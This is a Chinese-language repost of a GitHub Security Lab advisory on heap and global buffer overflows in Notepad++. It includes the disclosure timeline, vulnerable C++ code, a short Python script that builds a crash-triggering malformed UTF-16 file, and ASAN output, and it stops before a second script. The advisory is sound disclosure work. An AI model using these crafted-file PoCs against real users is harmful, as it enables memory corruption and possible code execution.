内容过长 后续暂未补全 可移步至参考中的URL查看
流行的开源代码编辑器 Notepad++ 发现了多个缓冲溢出漏洞,允许攻击者执行任意代码。Notepad++ 尚未发布补丁修复漏洞。GitHub Security Lab 的安全研究员 Jaroslav Lobačevski 发现,Notepad++ 使用的部分函数和库存在堆缓冲区写溢出和堆缓冲区读取溢出漏洞,这些漏洞的风险评分从 5.5(中危)到 7.8(高危)不等。他是在四月底报告了漏洞,但直到 Notepad++ 发布最新版本 v8.5.6 漏洞仍然没有修复,因此根据披露政策公开了漏洞和 PoC。
协调披露时间表
2023-04-28:报告GHSL-2023-092,并在free.fr上向.don.h提出修复建议[出自:
jiwo.org]
2023-05-06:确认接待。
2023-05-08:为GHSL-2023-102和GHSL-2023-103创建了私人安全咨询,并提出了修复建议。
2023-05-11:为GHSL-2023-112创建了私人安全咨询,并提出了修复建议。
2023-05-15:发布了没有修复程序的Notepad++v8.5.3。
2023-06-05:要求更新。
2023-06-18:发布了没有修复程序的Notepad++v8.5.4。
2023-07-01/02:创建了私人拉取请求。
2023-07-04:通知维护人员,所有报告都包含修复建议,为了方便起见,创建了私人拉取请求。
2023-07-08:维护人员要求为GHSL-2023-112 PoC提供一个二进制blob,而不是Python脚本。
2023-07-08:维护人员表示v8.5.4没有使用ASAN进行编译。
2023-07-10:确认v8.5.4在我们的设置中使用ASAN编译,该问题仍然是可复制的,使用ASAN构建是可选的:报告包含足够的信息来设置断点并使用PoC文件复制它。
2023-07-10:按要求为GHSL-2023-112提供二进制格式的PoC,而不是用于生成PoC的python脚本。
2023-07-17:询问维护人员是否成功下载了二进制PoC,是否有任何问题,并通知了披露政策。没有收到回复。
2023-08-09:发布了没有修复程序的Notepad++v8.5.5。
2023-08-15:发布了没有修复程序的Notepad++v8.5.6。
2023-08-21:根据我们的协调披露政策发布。
总结
Notepad++在打开精心编制的文件时读取和写入超过缓冲区边界的末尾。
产品
记事本++
测试版本
v8.5.2
详细信息
问题1:Utf8_16_Read::convert中的堆缓冲区写入溢出(GHSL-2023-112)
Utf8_16_Read::convert函数为UTF16到Utf8的转换分配一个新的缓冲区[1]。它计算新的缓冲区大小,假设在最坏的情况下,对于每两个UTF16编码的输入字节,它可能需要三个UTF8字节[2]。然而,当输入长度是格式错误的奇数字节时,计算将关闭。例如,在PoC中,当处理第二个字节块时,设置为9并变为14(9+9/2+1)。在消耗了前8个输入字节([3]和[4])之后,已将其移位[5]14个元素数组中的12个元素。Utf16_Iter::运算符++消耗输入后的最后9个字节和第10个字节。然而,由于Notepad++以块的形式读取文件,因此第10个字节来自有效的缓冲区,但包含旧的块数据。然后,在[5]中,它将三个字节写入溢出的数组。lennewSizepCurm_pNewBuflenpCur
case uni16LE: { size_t newSize = len + len / 2 + 1; // [2] if (m_nAllocatedBufSize != newSize) { if (m_pNewBuf) delete[] m_pNewBuf; m_pNewBuf = NULL; m_pNewBuf = new ubyte[newSize]; // [1] m_nAllocatedBufSize = newSize; } ubyte* pCur = m_pNewBuf; m_Iter16.set(m_pBuf + nSkip, len - nSkip, m_eEncoding); while (m_Iter16) { ++m_Iter16; // [3] utf8 c; while (m_Iter16.get(&c)) // [4] *pCur++ = c; // [5] }
由于总是消耗两个字节,因此其有效性运算符应检查当前指针和下一个指针是否小于末尾:Utf16_Iter::read()运算符布尔(){return(m_pRead+1
with open("poc", "wb") as f:
f.write(b'\xfe\xff')
f.write(b'\xff' * (128 * 1024 + 4 - 2 + 1))
制作Notepad++的ASAN版本。
在Notepad++中打开文件,使用ASAN进行越界访问。
使用ASAN构建时的输出:
==8896==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x1281524e6472 at pc 0x7ff7308d686e bp 0x00a8c41da680 sp 0x00a8c41da680
WRITE of size 1 at 0x1281524e6472 thread T0
==8896==WARNING: Failed to use and restart external symbolizer!
#0 0x7ff7308d686d in Utf8_16_Read::convert C:\npp\PowerEditor\src\Utf8_16.cpp:181
#1 0x7ff730060498 in FileManager::loadFileData C:\npp\PowerEditor\src\ScintillaComponent\Buffer.cpp:1620
#2 0x7ff73005620f in FileManager::loadFile C:\npp\PowerEditor\src\ScintillaComponent\Buffer.cpp:753
#3 0x7ff7305729bd in Notepad_plus::doOpen C:\npp\PowerEditor\src\NppIO.cpp:422
#4 0x7ff73051a68f in Notepad_plus::command C:\npp\PowerEditor\src\NppCommands.cpp:3931
#5 0x7ff7304d8163 in Notepad_plus::process C:\npp\PowerEditor\src\NppBigSwitch.cpp:777
#6 0x7ff7304eb383 in Notepad_plus_Window::runProc C:\npp\PowerEditor\src\NppBigSwitch.cpp:127
#7 0x7ff7304eafa1 in Notepad_plus_Window::Notepad_plus_Proc C:\npp\PowerEditor\src\NppBigSwitch.cpp:84
#8 0x7fffdb1e8230 in DispatchMessageW+0x740 (C:\WINDOWS\System32\USER32.dll+0x180018230)
#9 0x7fffdb1e7cf0 in DispatchMessageW+0x200 (C:\WINDOWS\System32\USER32.dll+0x180017cf0)
#10 0x7ff73091b3eb in wWinMain C:\npp\PowerEditor\src\winmain.cpp:720
#11 0x7ff7312b0b71 in invoke_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:118
#12 0x7ff7312b0a9d in __scrt_common_main_seh D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288
#13 0x7ff7312b095d in __scrt_common_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:330
#14 0x7ff7312b0bed in wWinMainCRTStartup D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_wwinmain.cpp:16
#15 0x7fffda4c26ac in BaseThreadInitThunk+0x1c (C:\WINDOWS\System32\KERNEL32.DLL+0x1800126ac)
#16 0x7fffdbf2a9f7 in RtlUserThreadStart+0x27 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18005a9f7)
0x1281524e6472 is located 0 bytes to the right of 2-byte region [0x1281524e6470,0x1281524e6472)
allocated by thread T0 here:
#0 0x7ff731263623 in operator new[] D:\a\_work\1\s\src\vctools\asan\llvm\compiler-rt\lib\asan\asan_win_new_array_thunk.cpp:42
#1 0x7ff7308d665a in Utf8_16_Read::convert C:\npp\PowerEditor\src\Utf8_16.cpp:168
#2 0x7ff730060498 in FileManager::loadFileData C:\npp\PowerEditor\src\ScintillaComponent\Buffer.cpp:1620
#3 0x7ff73005620f in FileManager::loadFile C:\npp\PowerEditor\src\ScintillaComponent\Buffer.cpp:753
#4 0x7ff7305729bd in Notepad_plus::doOpen C:\npp\PowerEditor\src\NppIO.cpp:422
#5 0x7ff73051a68f in Notepad_plus::command C:\npp\PowerEditor\src\NppCommands.cpp:3931
#6 0x7ff7304d8163 in Notepad_plus::process C:\npp\PowerEditor\src\NppBigSwitch.cpp:777
#7 0x7ff7304eb383 in Notepad_plus_Window::runProc C:\npp\PowerEditor\src\NppBigSwitch.cpp:127
#8 0x7ff7304eafa1 in Notepad_plus_Window::Notepad_plus_Proc C:\npp\PowerEditor\src\NppBigSwitch.cpp:84
#9 0x7fffdb1e8230 in DispatchMessageW+0x740 (C:\WINDOWS\System32\USER32.dll+0x180018230)
#10 0x7fffdb1e7cf0 in DispatchMessageW+0x200 (C:\WINDOWS\System32\USER32.dll+0x180017cf0)
#11 0x7ff73091b3eb in wWinMain C:\npp\PowerEditor\src\winmain.cpp:720
#12 0x7ff7312b0b71 in invoke_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:118
#13 0x7ff7312b0a9d in __scrt_common_main_seh D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288
#14 0x7ff7312b095d in __scrt_common_main D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:330
#15 0x7ff7312b0bed in wWinMainCRTStartup D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_wwinmain.cpp:16
#16 0x7fffda4c26ac in BaseThreadInitThunk+0x1c (C:\WINDOWS\System32\KERNEL32.DLL+0x1800126ac)
#17 0x7fffdbf2a9f7 in RtlUserThreadStart+0x27 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18005a9f7)
SUMMARY: AddressSanitizer: heap-buffer-overflow C:\npp\PowerEditor\src\Utf8_16.cpp:181 in Utf8_16_Read::convert
Shadow bytes around the buggy address:
0x04cd7c51cc30: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd
0x04cd7c51cc40: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd
0x04cd7c51cc50: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd
0x04cd7c51cc60: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x04cd7c51cc70: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
=>0x04cd7c51cc80: fa fa fd fd fa fa fd fd fa fa fd fd fa fa[02]fa
0x04cd7c51cc90: fa fa fd fa fa fa fd fa fa fa 00 00 fa fa 04 fa
0x04cd7c51cca0: fa fa 04 fa fa fa 01 fa fa fa 04 fa fa fa 01 fa
0x04cd7c51ccb0: fa fa 01 fa fa fa 04 fa fa fa 00 fa fa fa 04 fa
0x04cd7c51ccc0: fa fa 04 fa fa fa 04 fa fa fa 00 00 fa fa 04 fa
0x04cd7c51ccd0: fa fa 04 fa fa fa 04 fa fa fa 04 fa fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
Address Sanitizer Error: Heap buffer overflow
CVE
CVE-2023-40031
问题2:CharDistributionAnalysis::HandleOneChar(GHSL-2023-102)中的全局缓冲区读取溢出
Notepad++使用库的分叉副本。特制的文件允许在文件打开操作中读取超过全局分配的对象缓冲区的界限。chardet
[1]中的数组索引取决于输入文件内容,可以设置为大于缓冲区大小的值,这会导致缓冲区外读取。例如,在PoC中,它被设置为5419,而(指向全局数组EUCTWCharToFreqOrder的指针)的大小是5376个元素。请注意,在的行之前有一个check[2]。但是,对于EUCTWCharToFreqOrder,由于某些原因被声明为8102。ordermCharToFreqOrdermCharToFreqOrdermTableSizemTableSize
//Feed a character with known length void HandleOneChar(const char* aStr, PRUint32 aCharLen) { PRInt32 order; //we only care about 2-bytes character in our distribution analysis order = (aCharLen == 2) ? GetOrder(aStr) : -1; if (order >= 0) { mTotalChars++; //order is valid if ((PRUint32)order < mTableSize) // [2] { if (512 > mCharToFreqOrder[order]) // [1] buffer read overflow mFreqChars++; } } }
此行为已在freedesktop.org uchardet中修复。
影响:
这个问题的可利用性尚不清楚。它可能被用来泄露内部内存分配信息。
资源:
要复制该问题:
使用以下python脚本创建一个文件: